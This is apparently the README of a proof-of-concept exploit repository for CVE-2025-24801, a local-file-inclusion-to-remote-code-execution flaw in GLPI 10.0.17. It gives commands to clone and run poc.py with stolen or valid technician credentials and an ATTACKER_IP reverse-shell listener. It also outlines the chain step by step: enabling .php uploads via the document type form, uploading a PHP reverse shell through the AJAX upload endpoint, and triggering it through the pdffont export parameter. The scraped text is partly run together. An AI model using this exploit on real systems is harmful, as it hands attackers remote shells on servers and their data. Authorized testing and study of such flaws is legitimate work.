
CVE-2025-24801 Exploit
This repository contains a proof-of-concept script (poc.py) that exploits CVE-2025-24801, an LFI-to-RCE vulnerability in GLPI 10.0.17. It automates:
.php uploads by updating document type settingsgit clone https://github.com/fatkz/CVE-2025-24801.git
cd CVE-2025-24801
pip install -r requirements.txt
python3 poc.py \
--url https://target.example.com/glpi \
--user TECHNICIAN_USER \
--password "PASSWORD" \
--lhost ATTACKER_IP \
--lport 4444
--url: Base URL of the GLPI instance (e.g. https://example.com/glpi)--user / --password: Valid GLPI technician credentials--lhost / --lport: Attacker IP and port for the reverse shell listenerThe script automatically uses --doc-id 1 by default to update the first document type.
After execution, the script will:
.php uploads by updating document type ID 1exploit.php containing a PHP reverse shell payloadYou will then need to manually trigger the LFI by specifying the uploaded filename in the PDF font include (e.g., via the report export feature) to achieve RCE.
/front/login.php and posts credentials to authenticate./front/documenttype.form.php?id=1, parses the CSRF token, and adds php to the allowed extensions./front/ticket.form.php for a CSRF token, then uses /ajax/fileupload.php (with X-Requested-With: XMLHttpRequest) to upload a PHP reverse shell.pdffont parameter during report export.This tool is intended for authorized security testing and educational purposes only. Do not use it against systems without explicit permission.
Created for educational and authorized pentesting purposes.